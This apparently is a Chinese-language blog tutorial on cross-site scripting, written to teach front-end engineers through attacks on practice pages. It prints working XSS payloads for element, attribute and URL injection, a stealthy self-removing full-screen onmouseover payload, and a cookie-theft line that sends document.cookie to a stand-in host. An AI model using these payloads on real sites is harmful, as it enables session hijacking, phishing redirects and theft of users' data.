Hannah Lin总结
本文主要介绍了跨站脚本(XSS)攻击的概念、危害、防御策略以及实际的攻击技巧和案例。
摘要
文章首先介绍了XSS攻击的基本概念,强调了不信任用户输入的重要性,并指出即使网站有同源政策保护,仍然可能受到XSS攻击。文章列举了XSS攻击的常见途径,包括HTML元素、HTML属性和URLs。作者通过具体的示例和练习链接,展示了如何利用用户输入的漏洞进行攻击,例如通过输入框输入恶意代码、修改HTML属性和URL参数来实施攻击。
文章接着提到了XSS攻击的危害,包括窃取cookie、重定向到钓鱼网站以及破坏网站正常展示等。作者还分享了如何提升攻击技能,例如利用事件处理器(Event Handlers)快速且隐蔽地实施攻击,并给出了一些具体的攻击手法,如利用onmouseover事件和内联样式将恶意代码伪装成正常的网页元素。
最后,文章提供了一些防御XSS攻击的建议,包括使用内容安全策略(Content Security Policy, CSP)和对输入进行严格的验证和编码。文章还推荐了一些学习资源,如chef secure和xss Game,以及一项人工智能服务,供读者进一步了解和实践XSS攻击防御。
观点
- 防御XSS攻击的心态: 对用户输入不要信任,任何输入都可能是危险的,包括输入框、网址栏以及任何可以让用户更改网页内容的地方。
- XSS攻击的危害: XSS攻击可以导致用户重定向到钓鱼网站、破坏网站展示、窃取用户cookie等,这些攻击可能导致严重的安全后果。
- 提升攻击技能: 攻击者应该利用事件处理器迅速且隐蔽地实施攻击,确保攻击行为不易被用户或网站工程师察觉。
- 防御策略: 网站工程师应该采取措施,如实施内容安全策略(CSP)、对用户输入进行适当的编码和验证,以及限制脚本执行等,来有效防御XSS攻击。
- 学习资源: 文章推荐了一些互动式的学习资源,如chef secure和xss Game,以及一项AI服务,帮助读者更好地理解和防御XSS攻击。
攻擊一個網站需要高超的技術在身上嗎?其實比想像中容易很多,身為一個網站工程師,若相關資安知識不夠也很容易寫出一個漏洞百出的網站。這一篇會有大量範例從攻擊中學 XSS,也期待有這些知識後的前端工程師能寫出更安全的網站。
小試身手
某功能要求印出使用者打入 input 的內容

若使用者輸入 Hannah,就會印出 Howdy, Hannah; 若輸入 Amy 就會印出 Howdy, Amy。看起來相當容易,讓我們用純 JS 來實現

看起來沒啥問題,但發現若連 HTML Tag 都打進 input

竟然也可以被輸出耶!太神奇了。喔不這一點都不神奇是你寫的 code 太爛了留下弱點,讓 Attacker 可以用此弱點攻擊你 !

網站是由 HTML、Javascript、CSS 所組成,所以只要網站提供給 Users 能 “互動” 的地方,也就是動態可以被變更的區域就有可能暗藏地雷引發資安風險 (常見的互動是利用網址列或 input 改變網頁內容或 HTML Attribute),接下來就讓我們盡情攻擊 ?!
只要能讓範例執行 alert(1) 就算攻擊成功
Note.會以alert(1) 代表惡意程式因為他最簡單,別小看 alert,alert 可以被任意執行代表 Attcker 可以用 js 注入你的網頁做任何可怕的事 。我也會在此篇最底下附註 XSS 可以做哪些壞事
XSS Attacks from HTML Element
利用使用者可以改變 HTML 的內容來攻擊網站
- Feature: 文字區塊可以印出使用者打入 input 的內容,練習請點此

讓我們試著輸入一些 html tag 看看能不能攻擊!例如 </textarea><script>alert(1)</script> ,果然成功 😈

XSS Attacks from HTML Attribute
利用使用者可以改變 HTML 的屬性 (attribute)來攻擊網站
- Feature:標題的屬性
title 會隨著使用者打入 input 而做更新,練習請點此

一樣打入一些 script 試試:”><script>alert(1)</script> 😈

XSS Attacks from URLs
利用使用者可以改變 url來攻擊網站
- Feature: 輸入連結就會新增連結在下面,練習請點此

你會發現沒辦法用 /><script>alert(1)</script> ,因為他會被自動轉成字串。但是,你可用你我都熟悉的 javascript:alert(1) 內建方法 😈

- Feature: 更新網址列的 query 可以進而更新 HTML,練習請點此

看起來就是網址列的 query 有什麼就可以印下什麼,那我們就直接來 <svg onload=alert(1)> 😈

Level Up 你的攻擊技能
Attacker 的目標: 善用 Event Handlers 神不知鬼不覺的迅速達成攻擊
1. Execute Quickly 迅速達成攻擊
越快讓使用者觸發 Attacker 藏的炸彈越好,怎麼說呢,先來問問讀者,以下行為哪一個會最快被使用者觸發到?
- 使用者點擊 (eg.
onClick、Link) 觸發 alert() - 滑鼠移動網頁 (eg.
onmouseover ) 觸發 alert() - 載入網頁時 (eg.
onload) 觸發alert()
當然是 3 最快,因為使用者只是進入這網頁什麼都還沒做時,Attacker 就可以做壞壞的事了
2. Remain Undetected 神不知鬼不覺
若攻擊如下一樣明顯,那使用者一看就知道有詐,網站工程師也會趕快去修復這個安全漏洞(除非他就是想故意破壞這個網站為目的)。

而厲害的 Attacker 會神不知鬼不覺進行攻擊,取得越多受害者越好。壞壞的事都在背後執行,光看網站 UI 察覺不出什麼的。
- Feature: 點 Share the page 就會導入到別網站分享此篇文章,練習請點此

會發現 data-url 反應網址列,所以若把網址改成 https://medium.com/?q=hannah ,data-url 也會變 https://medium.com/?q=hannah
所以當你加上 query 在網址列#”onclick=”alert(),會發現 <small>element 也被夾上 onclick 的屬性了,這時一但使用點擊,Bomb 😈

恩,但不是每一個使用者都會點擊那個連結啊,要怎麼實現 神不知鬼不覺的迅速達成攻擊 呢?
既然我們可以輕鬆去改變 <small> 的 attribute,代表我們也可以改變他的 style 啊,inline style 對前端工程師來說應該輕鬆

所以我們可以把 Share this Page 這個地雷用 inline css 放大到整個畫面,這樣使用者只要滑鼠移動就會觸發地雷攻擊。
左: 我們想要的 css / 右: 使用 query 動態改變url 會 encoding 的一些特殊符號,例如想要 width: 100% 要寫成 width:100%25 因為 % 在 url 有別的意義,不過這邊不詳細說明。加上以下 query 輕易攻擊使用者 😈
#"onmouseover="alert() "style=position:fixed;top:0;left:0;width:100%25;height:100%25;
若想要達成 Remain Undetected 神不知鬼不覺,也可以繼續加上以下,讓這攻擊只觸發一次,使用者還是可以繼續使用網站絲毫不會發現機密資訊已被偷
this.removeAttribute('onmouseover');this.removeAttribute('style')附註: alert 有很可怕嗎? 常見的 XSS 攻擊手法有哪些?
alert 可以被任意執行代表 Attcker 可以用 js 注入你的網頁做任何可怕的事,畢竟網頁就是由 HTML + JS 組成,而 JS 可以做的事可多了,你可以增加區塊刪除東西甚至偷別人銀行 cookie 把他錢通通領走 。
Redirect 攻擊
把你導向一個釣魚網站,例如假的銀行網站,讓你在不知情狀況下輸入帳號密碼,也把帳號密碼送給了駭客
<script>
window.location='http://www.fakeBank.com'
</script>
Virtual Site Defacement 攻擊
破壞你的網站,基本上 XSS 可以做的事真的超多。可以插入一堆奇怪東西讓網站無法被使用
<script>
for(let i = 0; i < 100; i++){
alert('BOMB')
}
</script>
Cookie 竊取 (Cookie Theft)
<script>document.location='http://dobadthing.com?c='+document.cookie;</script>
把使用者導向 dobadthing.com 得同時也把使用者 cookie 送到 dobadthing.com ,所以讓駭客可以得到使用者珍貴的 cookie 進而做壞壞的事
Reference